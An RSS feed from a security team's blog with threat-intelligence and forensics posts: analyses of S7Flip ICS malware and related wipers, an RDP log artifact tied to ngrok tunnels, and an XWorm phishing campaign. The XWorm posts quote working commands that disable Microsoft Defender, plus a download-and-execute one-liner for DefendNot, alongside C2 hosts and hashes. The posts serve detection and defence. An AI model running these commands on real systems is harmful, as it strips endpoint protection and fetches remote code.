<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>win &#8211; PT ESC</title>
	<atom:link href="https://ptesc.tech/en/tag/win/feed/" rel="self" type="application/rss+xml" />
	<link>https://ptesc.tech/en/</link>
	<description></description>
	<lastBuildDate>Wed, 07 Oct 2026 11:55:56 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.4</generator>

<image>
	<url>https://ptesc.tech/wp-content/uploads/2026/09/cropped-cropped-large_icon-32x32.png</url>
	<title>win &#8211; PT ESC</title>
	<link>https://ptesc.tech/en/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>This is Siemens...</title>
		<link>https://ptesc.tech/en/this-is-siemens/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Tue, 29 Sep 2026 18:38:28 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[win]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%d1%8d%d1%82%d0%be%d1%82-%d0%b2%d0%b0%d1%88-siemens/</guid>

					<description><![CDATA[Recently, our colleagues from the Positive Industrial Expertise Center discovered a curious Windows sample on MalwareBazaar. Here is its SHA-256: e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2 Our attention was drawn to a…]]></description>
										<content:encoded><![CDATA[<p>Recently, our colleagues from the Positive Industrial Expertise Center discovered a curious Windows sample on MalwareBazaar. Here is its SHA-256:</p>
<pre><code>e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2</code></pre>
<p>Our attention was drawn to a message from the account that uploaded this sample:</p>
<figure class="wp-block-image"><img decoding="async" width="1024" height="291" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_636@29-09-2026_18-38-28-1024x291.jpg" class="attachment-large size-large" alt="" loading="lazy" /></figure>
<p>Hmm, ICS malware, and it already has a ready-made name — S7Flip (so we don&#8217;t even need to strain our imagination to name it)? Sounds interesting! Let&#8217;s take a look at what&#8217;s inside.</p>
<p>After establishing persistence in autorun under the name <code>aphp.exe</code>, the sample begins collecting addresses of devices on the local network — these are addresses <code>192.168.*.*</code>, <code>10.*.*.*</code>, and <code>172.*.*.*</code> — after which it checks them for the presence of certain open ports that are widely used by industrial devices:</p>
<ul>
<li><strong>102</strong> — mainly used by Siemens controllers for communication via the S7Comm or S7Comm+ protocol.</li>
<li><strong>502</strong> — the standard port for the Modbus TCP protocol; it can be used by devices from any manufacturer.</li>
<li><strong>44818</strong> — mainly used by Allen-Bradley (Rockwell) controllers for communication via the EtherNet/IP (CIP) protocol.</li>
</ul>
<p>Connecting to Allen-Bradley (Rockwell) devices effectively does not work. There is no implementation of a client for EtherNet/IP (CIP): the branch reuses the Siemens client and attempts to connect via port 102 as if to a Siemens controller. A connection to a real Allen-Bradley will not be established — no impact is exerted at all on devices that have only opened port 44818.</p>
<p>Having identified the required devices, S7Flip connects to them and begins applying one of the destructive mechanisms (or both at once).</p>
<h2>Mechanism 1: &#8220;randomize&#8221; of values</h2>
<p>Via S7Comm (port 102): it iterates through DB blocks 1–10 one by one; for each, it selects a random offset 0–99, reads a 4-byte integer from there, adds a random integer from −10 to +10, and writes it back.</p>
<p>Via Modbus TCP (port 502): it selects a 16-bit holding register at a random address 0–99, reads the current value, adds a random integer from −10 to +10, and writes it back.</p>
<h2>Mechanism 2: bit inversion (findAndModifyInputs)</h2>
<p>Via S7Comm (port 102): it sequentially goes through the first 100 bytes in DB blocks 1–10: reads a byte, flips its least significant bit to the opposite value, and writes it back.</p>
<p>Via Modbus TCP (port 502): it sequentially goes through single-bit write cells (coils — discrete outputs, commands, flags) in the range 0–255: reads a bit, flips it to the opposite value, and writes it back.</p>
<p>Each change is written to <code>logs.csv</code> next to the executable file and contains five columns — time, tag, vendor, old value, and new value.</p>
<figure class="wp-block-image"><img decoding="async" width="539" height="461" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_637@29-09-2026_18-38-28.jpg" class="attachment-large size-large" alt="" loading="lazy" /></figure>
<p>In addition to this binary, we also found another one:</p>
<pre><code>88717716e54b35682a28d673764975d439a31ee194c85dfc619a15ea93ab1280</code></pre>
<p>In terms of its operating logic, it is no different from the sample examined earlier. The main difference is that the <code>libmodbus</code> library, which implements the Modbus protocol, is dynamically linked in <code>e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2</code>, while in <code>88717716e54b35682a28d673764975d439a31ee194c85dfc619a15ea93ab1280</code> it is statically linked.</p>
<p>On the same day, from the same account <code>jeans</code>, in addition to <code>e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2</code> (file name — <code>Edge.exe</code>), another binary was uploaded:</p>
<pre><code>2c57c1a39933514c63b5a7b585f5948ead04b65e4df96fb595ccda84208c4aa0</code></pre>
<p>On closer inspection, it turned out to be a wiper. When launched, it gentlemanly asks whether you would like to install Microsoft Edge:</p>
<figure class="wp-block-image"><img decoding="async" width="807" height="156" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_638@29-09-2026_18-38-28.jpg" class="attachment-large size-large" alt="" loading="lazy" /></figure>
<p>And if you decline, the wiper stops its work 😅</p>
<p>But if you agree&#8230; then be prepared for &#8220;unforeseen circumstances.&#8221; Here is the list:</p>
<ul>
<li>recursive deletion of all contents of the <code>%USERPROFILE%\Desktop</code> folder;</li>
<li>a file <code>compiled-desktop</code> will also be created there, containing exactly <code>1 048 576</code> random bytes;</li>
<li>and, of course, a <code>README.txt</code> file with a polite request to transfer bitcoins in the amount of 100 dollars.</li>
</ul>
<p>After all this, the malware adds itself to autorun.</p>
<p>File decryption is not provided for: the contents of the desktop are not saved anywhere. This is a pseudo-ransomware wiper.</p>
<p>The most interesting thing is that <code>README.txt</code> specifies a wallet to which the attackers propose to send the money: <code>bc1qp6ejw8ptj9l9pkscmlf8fhhkrrjeawgpyjvtq8</code> — this is the official donation wallet for the <code>Bitcoin.org</code> project. That is, the scammers don&#8217;t actually want a ransom? Hmm, interesting&#8230; 🤑</p>
<p>A little later, <code>jeans</code> uploaded another variant of this tool — <code>f47502628708300840efe2771a3c5e7e9a631205512f0a2ee6382a00a92056e2</code>, and this time the file is named not <code>Edge.exe</code> but <code>Edgev5.exe</code>. </p>
<p>Does v5 signify some kind of development or further improvement of the malware? Yes, in the new version the author added symmetric file encryption using AES-256-GCM, and also expanded the number of folders for encryption: now, in addition to Desktop, Downloads and Documents are also subject to encryption. True, there is one nuance&#8230; the key for decrypting the data is located in the <code>master_key.dat</code> file, and the bitcoin wallet is the same as in the earlier version of the wiper.</p>
<p>Apparently, the author of the malware is actively developing and testing their tool. It is possible that in the future they will begin actively using it in a &#8220;combat&#8221; form.</p>
<h2>So what is the connection between S7Flip and the wipers? 🧐</h2>
<p>While reading this post, you may have wondered: &#8220;how are S7Flip and the wiper connected to each other?&#8221; And in fact, there are certain coincidences:</p>
<ul>
<li>all binaries were compiled using the GCC 16.2.0 toolchain;</li>
<li>the build timestamp of the PE files <code>88717716e54b35682a28d673769475d439a31ee194c85dfc619a15ea93ab1280</code> (S7Flip) and <code>2c57c1a39933514c63b5a7b585f5948ead04b65e4df96fb595ccda84208c4aa0</code> (<code>Edge.exe</code>) matches to within a day — 2026-09-13;</li>
<li>the shared account from which the files were uploaded to MalwareBazaar is <code>jeans</code>.</li>
</ul>
<p>Is this data sufficient to assert that S7Flip and the wipers were developed by the same author? No, certain doubts still remain, but there is nonetheless some connection.</p>
<h2>IoCs</h2>
<table>
<tr>
<th>SHA-256</th>
<th>Name</th>
<th style="text-align:center">PT Fusion</th>
</tr>
<tr>
<td><code>88717716e54b35682a28d673769475d439a31ee194c85dfc619a15ea93ab1280</code></td>
<td>S7Flip</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/c4cb038a-718a-4509-a22a-151d0ebf310a" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2</code></td>
<td>S7Flip</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/3ca9e76f-e2d8-4da7-85ed-4c950bb25d26" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>2c57c1a39933514c63b5a7b585f5948ead04b65e4df96fb595ccda84208c4aa0</code></td>
<td>Edge.exe (ver 1)</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/ebdd1e1e-02e6-4b42-adf3-d7ca2356cde2" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>f47502628708300840efe2771a3c5e7e9a631205512f0a2ee6382a00a92056e2</code></td>
<td>Edgev5.exe</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/e50f6bc0-5e19-4ea5-8460-5840e32ec2ec" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
</table>
<p><span class="hashtag">#malware</span> <span class="hashtag">#win</span> <span class="hashtag">#ioc</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>A look inside ESE</title>
		<link>https://ptesc.tech/en/a-look-inside-ese/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Fri, 19 Jun 2026 14:20:09 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[dfir]]></category>
		<category><![CDATA[ir]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[win]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%d0%b7%d0%b0%d0%b3%d0%bb%d1%8f%d0%b4%d1%8b%d0%b2%d0%b0%d0%b5%d0%bc-%d0%b2%d0%bd%d1%83%d1%82%d1%80%d1%8c-ese/</guid>

					<description><![CDATA[Looking inside ESE 🫣 During incident investigations, we at PT ESC IR regularly encounter the need to analyze databases in the ESE (Extensible Storage Engine) format, since such artifacts can contain a lot of interesting information. To work…]]></description>
										<content:encoded><![CDATA[<p><strong>Looking inside ESE</strong> 🫣</p>
<p>During incident investigations, we at PT ESC IR regularly encounter the need to analyze databases in the ESE (Extensible Storage Engine) format, since such artifacts can contain a lot of interesting information.</p>
<p>To work with such files more efficiently, it is important to understand how this format is structured internally. Therefore, based on the results of our research, we have prepared a detailed breakdown of the internal structure of ESE (also known as Jet Blue) — Microsoft&#8217;s built-in DBMS, which is used in many of the company&#8217;s products. </p>
<p>In the article, we explain how data storage is organized at a low level, how pages and records are structured, and also examine implementation details of the engine that may be useful when analyzing database contents and developing your own parsers for working with such files.</p>
<p>🫱 Details — <a href="https://habr.com/ru/companies/pt/articles/1048794/" rel="noopener" target="_blank">on Habr</a>.</p>
<p><span class="hashtag">#ir</span> <span class="hashtag">#dfir</span> <span class="hashtag">#win</span> <span class="hashtag">#tip</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>::%16777216 — so what exactly are you?</title>
		<link>https://ptesc.tech/en/777216-so-what-exactly-are-you/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Thu, 18 Jun 2026 14:11:09 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[win]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%16777216-%d1%82%d0%b0%d0%ba-%d1%87%d1%82%d0%be-%d0%b6%d0%b5-%d1%82%d1%8b-%d1%82%d0%b0%d0%ba%d0%be%d0%b5/</guid>

					<description><![CDATA[::%16777216 — so what exactly are you? It is known that during attacks, adversaries can use tunneling. For example, to punch a reverse tunnel from a compromised Windows host deep inside an organization's network, so that it can be used to e…]]></description>
										<content:encoded><![CDATA[<p><strong>::%16777216 — so what exactly are you?</strong></p>
<p>It is known that during attacks, adversaries can use <a href="https://attack.mitre.org/techniques/T1572/" rel="noopener" target="_blank">tunneling</a>. For example, to punch a reverse tunnel from a compromised Windows host deep inside an organization&#8217;s network, so that it can be used to easily connect interactively via RDP to that same host.</p>
<p>Methods for detecting such activity are also known. For example, you should definitely pay attention to the presence of IP addresses <code>127.0.0.1</code> or <code>::1</code> in logs as the source — it is from such addresses within the compromised system that connections to target services may be established.</p>
<p>😳 For many years, specialists investigating breaches noted and described in reports that when ngrok was used for the tunnel in such attacks, upon connecting via RDP, a strange value was recorded in the logs instead of the source IP address — <code>::%16777216</code>.</p>
<p>On the one hand, this is an excellent artifact that is easy to search for: it is unlikely to occur in normal activity, and therefore its presence serves as a good and fairly accurate indicator of an attack.</p>
<p>But, on the other hand, there was no clear explanation anywhere of what this &#8220;magic number&#8221; is, why exactly it appears in logs, and whether it is always a sign of ngrok specifically being used.</p>
<p>😎 <strong>We decided to figure it out, and we managed to get answers:</strong></p>
<p>🔴 <code>::%16777216</code> appears in logs in event <code>1149</code> (and also <code>4778</code> and <code>4779</code>) instead of the IP address <code>::1</code> as a result of a bug in Windows.</p>
<p>🔴 The bug is not related to the presence of any vulnerability, but is caused by inconsistent interpretation of data in memory by different RDP protocol modules</p>
<p>🔴 The bug occurs not only with the address <code>::1</code>, but also in any other case when a connection to RDP is made using the IPv6 protocol (for example, instead of the address <code>fe80::6e1d:980d:9401:719b</code> you will see the string <code>0:0:fe80::6e1d:980d%2607874452</code> in the logs)</p>
<p>🔴 The problem was most often associated with the ngrok utility, because during tunneling it creates a connection on the host using IPv6 by default, unlike many other utilities that use IPv4.</p>
<p>🔴 The address in the logs is not &#8220;corrupted&#8221; irreversibly; it can be restored:</p>
<p><strong>1.</strong> Take the value from the log: <code>0:0:fe80::6e1d:980d%2607874452</code></p>
<p><strong>2. </strong>Convert the part after <code>%</code> to HEX: <code>2607874452 dec = 9b710194 hex</code></p>
<p><strong>3.</strong> Remove two zeros on the left, append the resulting digits on the right taking into account reverse byte order: <code>fe80::6e1d:980d:9401:719b</code></p>
<p>The bug existed at least starting from Windows Server 2012 R2 in all versions of Windows. In early summer 2025, we sent information about this to Microsoft, and the results of recent tests show that in current versions (with the May 2026 updates) the bug has been fixed (we did not receive a response confirming the fix).</p>
<p>And the author discussed the nuances of the research, interesting details of IP address representation, and approaches to conducting the experiments that helped find the explanation in a talk at the ËPRSTCON conference held in May — look for the talk recording, presentation, and transcript <a href="https://www.yoprstcon.ru/articles_manual_locB_html/07-ngrok-windows.html" rel="noopener" target="_blank">on the conference website</a>.</p>
<p><strong>So what should be done now?</strong> 😨</p>
<p>1️⃣ In older versions of Windows that no longer receive updates, continue to pay attention to <code>::%16777216</code> in logs.</p>
<p>2️⃣ In current versions of Windows, where updates may have been installed, additionally check for the presence of <code>::1</code> where such an address should not normally be.</p>
<p>3️⃣ Keep in mind that there are many different utilities for creating tunnels, and such an indicator does not in any way confirm the use of ngrok specifically.</p>
<p>0️⃣ Optionally — improve your log parsing so that it restores the normal IP address: this will help take the address into account in correlation rules and get more relevant results during retrospective event search or threat hunting.</p>
<p><strong>P.S.: </strong>and don&#8217;t forget to pay attention to the appearance of <code>127.0.0.1</code> in inappropriate places. </p>
<p><strong>P.P.S.:</strong> and not only <code>127.0.0.1</code>, but any address from the <code>127.0.0.0/8</code> network: all these addresses correspond to the <code>localhost</code> interface according to <a href="https://datatracker.ietf.org/doc/html/rfc5735" rel="noopener" target="_blank">RFC5735</a>, and this works in all popular OSes. It is unlikely that an adversary would easily manage to use an address like <code>127.0.13.37</code> as a source, but specifying such addresses as a destination for connecting to processes on the local host is quite possible.</p>
<p><span class="hashtag">#tip</span> <span class="hashtag">#win</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Disabling Defender / MpPreference</title>
		<link>https://ptesc.tech/en/disabling-defender-mppreference/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Fri, 05 Dec 2025 17:00:47 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[TI]]></category>
		<category><![CDATA[win]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%be%d1%82%d0%ba%d0%bb%d1%8e%d1%87%d0%b5%d0%bd%d0%b8%d0%b5-defender-mppreference/</guid>

					<description><![CDATA[In addition to the post 👆 Disabling Defender / MpPreference Set-MpPreference -DisableRealtimeMonitoring $true Set-MpPreference -DisableBehaviorMonitoring $true Set-MpPreference -DisableBlockAtFirstSeen $true Set-MpPreference -DisableIOAVPro…]]></description>
										<content:encoded><![CDATA[In addition to the <a href="https://t.me/ptescalator/568" rel="noopener" target="_blank">post</a> 👆 <br />
<br />
<strong>Disabling Defender / MpPreference

</strong><pre class="wp-block-code"><span><code lang="powershell" class="hljs language-powershell language-powershell"><span class="hljs-built_in">Set-MpPreference</span> <span class="hljs-literal">-DisableRealtimeMonitoring</span> <span class="hljs-variable">$true</span>
<span class="hljs-built_in">Set-MpPreference</span> <span class="hljs-literal">-DisableBehaviorMonitoring</span> <span class="hljs-variable">$true</span>
<span class="hljs-built_in">Set-MpPreference</span> <span class="hljs-literal">-DisableBlockAtFirstSeen</span> <span class="hljs-variable">$true</span>
<span class="hljs-built_in">Set-MpPreference</span> <span class="hljs-literal">-DisableIOAVProtection</span> <span class="hljs-variable">$true</span>
<span class="hljs-built_in">Set-MpPreference</span> <span class="hljs-literal">-DisableScriptScanning</span> <span class="hljs-variable">$true</span>
<span class="hljs-built_in">Add-MpPreference</span> <span class="hljs-literal">-ExclusionPath</span> <span class="hljs-string">'C:\ProgramData'</span>
<span class="hljs-built_in">Add-MpPreference</span> <span class="hljs-literal">-ExclusionPath</span> <span class="hljs-variable">$env:USERPROFILE</span><span class="hljs-string">'\Downloads'</span></code></span></pre><br />
<br />
<strong>Modifying Defender via reg.exe

</strong><pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f
reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f</code></span></pre><br />
<br />
<strong>Defendnot</strong> <br />
<br />
<pre class="wp-block-code"><span><code lang="yaml" class="hljs language-yaml language-yaml"><span class="hljs-comment">#Default directory</span>
<span class="hljs-string">C:\Prorgam</span> <span class="hljs-string">Files\defendnot\</span>

<span class="hljs-comment">#Downloading and running Defendnot</span>
<span class="hljs-string">irm</span> <span class="hljs-string">https://dnot.sh/</span> <span class="hljs-string">|</span> <span class="hljs-string">iex</span>

<span class="hljs-comment">#Running Defendnot in silent mode and adding a task to autorun under the current user</span>
<span class="hljs-string">"C:\Program Files\defendnot\defendnot-loader.exe"</span> <span class="hljs-string">--silent</span> <span class="hljs-string">--autorun-as-user</span></code></span></pre><br />
<br />
<strong>IoCs</strong>:<br />
<br />
<pre class="wp-block-code"><span><code lang="yaml" class="hljs language-yaml language-yaml"><span class="hljs-string">Defendnot</span>
<span class="hljs-string">dnot.sh</span> 
<span class="hljs-string">734d301654affee77396b554ccb04e0e</span>
<span class="hljs-string">752e74a143212b9779aa98ec6f736bac</span>

<span class="hljs-string">C2</span> <span class="hljs-string">XWorm</span>
<span class="hljs-string">tcp.cloudpub.ru:56409</span>
<span class="hljs-string">fair-equation.gl.at.ply.gg:57489</span>

<span class="hljs-string">lnk</span> <span class="hljs-string">files</span>
<span class="hljs-string">aebad92d84ae4f4b64748bc94798d401</span>
<span class="hljs-string">abd0364a25d1e7ee2bc9320c74e125fc</span>

<span class="hljs-string">powershell</span> <span class="hljs-string">files</span>
<span class="hljs-string">087dbfed9667fb870af265aed35f82e3</span>
<span class="hljs-string">ef7b11685c154e54deaf5c26f6d8ea59</span>
<span class="hljs-string">85a98d0f58cf08cb7206286b51312661</span>

<span class="hljs-string">vbs\vbe</span> <span class="hljs-string">files</span>
<span class="hljs-string">0bbccecdd13c7b9c4af3273b1ae8e133</span>
<span class="hljs-string">ebcb3e0d61ed5774d4e336f5e96ee9b4</span> 
<span class="hljs-string">9c5a00fe40783497752bcfbd75937fa7</span>
<span class="hljs-string">3ec80f2d06dd8f6a8e60d0e8753255e7</span>  

<span class="hljs-string">xWorm</span>
<span class="hljs-string">48bed9e98053e1e3ce0d4fb21fda2804</span> 
<span class="hljs-string">cab6f558f996db5a80e2a3bd5d443154</span> 
<span class="hljs-string">82294c916ba0ab95382509f51724716a</span> 
<span class="hljs-string">092712dc61fce5ef0ad0ddebb90059be</span></code></span></pre><br />
<br />
<span class="hashtag">#TI</span> <span class="hashtag">#Phishing</span> <span class="hashtag">#malware</span> <span class="hashtag">#win</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Using DefendNot in attacks with XWorm</title>
		<link>https://ptesc.tech/en/using-defendnot-in-xworm-attacks/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Fri, 05 Dec 2025 16:58:38 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[TI]]></category>
		<category><![CDATA[win]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b8%d1%81%d0%bf%d0%be%d0%bb%d1%8c%d0%b7%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-defendnot-%d0%b2-%d0%b0%d1%82%d0%b0%d0%ba%d0%b0%d1%85-%d1%81-xworm/</guid>

					<description><![CDATA[Using DefendNot in XWorm Attacks 🪱 A cyber intelligence group has recorded phishing activity aimed at data theft followed by monetary extortion (screenshot 1). During the analysis, two delivery chains used in parallel by the attackers were…]]></description>
										<content:encoded><![CDATA[<strong>Using DefendNot in XWorm Attacks</strong> 🪱<br />
<br />
A cyber intelligence group has recorded phishing activity aimed at data theft followed by monetary extortion (<em>screenshot 1</em>). During the analysis, two delivery chains used in parallel by the attackers were identified, differing in their initial vector but converging on a common infrastructure and final malicious component.<br />
<br />
🌹 <strong>Of particular note is the choice of infrastructure:</strong> a GitHub repository <a href="https://github.com/andezzzWW/death-note" rel="noopener" target="_blank">death-note</a> is used to distribute the components. Amusingly, the author references the well-known work Death Note, in which a high school student gets his hands on a special notebook.<br />
<br />
<strong>•</strong> <strong>In the first chain, VBScript files were used as the primary stage</strong> (<em>screenshot 2</em>), containing an obfuscated script. After the victim launched the VBS file, a decoy text file was downloaded from the attacker&#8217;s GitHub repository (<em>screenshot 3</em>) and launched to create the appearance of a legitimate process, along with the download and execution of a malicious VBE script, &#8220;<code>SCRRC4ryuk.vbe</code>&#8221; (<em>screenshot 4</em>).<br />
<br />
This script deactivated Windows security tools, including Microsoft Defender, using the <strong>DefendNot</strong> project, and also dropped and launched an additional module, <code>telegram_worker.vbs</code>, responsible for covert screen capture and sending screenshots to Telegram using the API and a bot. Additionally, before launching DefendNot, the attackers executed a number of PowerShell commands, such as <code>Set-MpPreference</code> and <code>Add-MpPreference</code>, to disable protection mechanisms and add the directories where the malware is placed and executed to exclusions.<br />
<br />
After that, DefendNot was launched, which registers a fictitious antivirus through Windows Security Center and puts Defender into a disabled state using standard OS tools. As the final stage, an executable file identified as <strong>XWorm RAT</strong> was downloaded from the same repository and launched.<br />
<br />
<strong>•</strong> <strong>In the second chain, LNK files were used in the initial stage. </strong>The shortcut either directly downloaded and executed a PowerShell script from the GitHub repository or executed an equivalent command in Base64 representation (<em>screenshot 4</em>). The launched PowerShell script (<em>screenshot 5</em>) created a text file, filled it with pseudo-official (<em>screenshot 3</em>) content, and opened it for the user, masking the malicious activity as office document workflow. After that, the script downloaded the file <code>SCRRC4ryuk.vbe</code> from the same GitHub repository and then launched it. The subsequent stages fully coincide with the first chain and also lead to the deployment of XWorm RAT on the victim&#8217;s workstation.<br />
<br />
🕵️ By examining the metadata of the XWorm samples, we were able to discover earlier attacks dating back to late September, in which, instead of a GitHub repository, malware distribution was carried out through cloud file storage services such as Dropbox, Box, and Yandex.Disk. This may indicate an evolution of the distribution infrastructure and a gradual shift in emphasis toward GitHub as a convenient and less suspicious delivery platform for the user.<br />
<br />
💡 <strong>Particular attention should be paid to the use of </strong><a href="https://github.com/es3n1n/defendnot" rel="noopener" target="_blank">DefendNot.</a> It is initially positioned as an open PoC project demonstrating the ability to register a fictitious antivirus in Windows Security Center and subsequently disable Microsoft Defender through standard means without exploiting vulnerabilities. The basic installation and launch scenario boils down to a one-line PowerShell command such as:<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">irm https://dnot.sh/ | iex</code></span></pre><br />
<br />
With its help, an installation script is loaded, an archive is downloaded and unpacked, after which the PoC is deployed in the <code>C:\Program Files\defendnot</code>\ directory and launched. During operation, DefendNot adds itself to the current user&#8217;s startup, preserving the effect of disabling Defender after a reboot.<br />
<br />
In practice, such tools were previously almost never encountered in real attacks, so the documented use of DefendNot in this campaign indicates a growing interest among attackers in reusing public research developments to disable built-in security tools.

<figure class="wp-block-image"><img width="1024" height="721" src="https://ptesc.tech/wp-content/uploads/2025/12/photo_445@05-12-2025_16-58-39-1024x721.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/12/photo_445@05-12-2025_16-58-39-1024x721.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/12/photo_445@05-12-2025_16-58-39-300x211.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/12/photo_445@05-12-2025_16-58-39-768x541.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/12/photo_445@05-12-2025_16-58-39.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="406" src="https://ptesc.tech/wp-content/uploads/2025/12/photo_446@05-12-2025_16-58-39-1024x406.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/12/photo_446@05-12-2025_16-58-39-1024x406.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/12/photo_446@05-12-2025_16-58-39-300x119.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/12/photo_446@05-12-2025_16-58-39-768x305.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/12/photo_446@05-12-2025_16-58-39.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="294" src="https://ptesc.tech/wp-content/uploads/2025/12/photo_447@05-12-2025_16-58-39-1024x294.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/12/photo_447@05-12-2025_16-58-39-1024x294.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/12/photo_447@05-12-2025_16-58-39-300x86.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/12/photo_447@05-12-2025_16-58-39-768x221.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/12/photo_447@05-12-2025_16-58-39.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="828" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/12/photo_448@05-12-2025_16-58-39-828x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/12/photo_448@05-12-2025_16-58-39-828x1024.jpg 828w, https://ptesc.tech/wp-content/uploads/2025/12/photo_448@05-12-2025_16-58-39-243x300.jpg 243w, https://ptesc.tech/wp-content/uploads/2025/12/photo_448@05-12-2025_16-58-39-768x950.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/12/photo_448@05-12-2025_16-58-39.jpg 1035w" sizes="auto, (max-width: 828px) 100vw, 828px" /></figure>

<br />
<br />
<span class="hashtag">#TI</span> <span class="hashtag">#Phishing</span> <span class="hashtag">#malware</span> <span class="hashtag">#win</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Extracting data from disk images with a damaged file system</title>
		<link>https://ptesc.tech/en/extracting-data-from-disk-images-with-a-damaged-file-system/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Wed, 03 Dec 2025 14:57:53 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[dfir]]></category>
		<category><![CDATA[ir]]></category>
		<category><![CDATA[win]]></category>
		<category><![CDATA[yara]]></category>
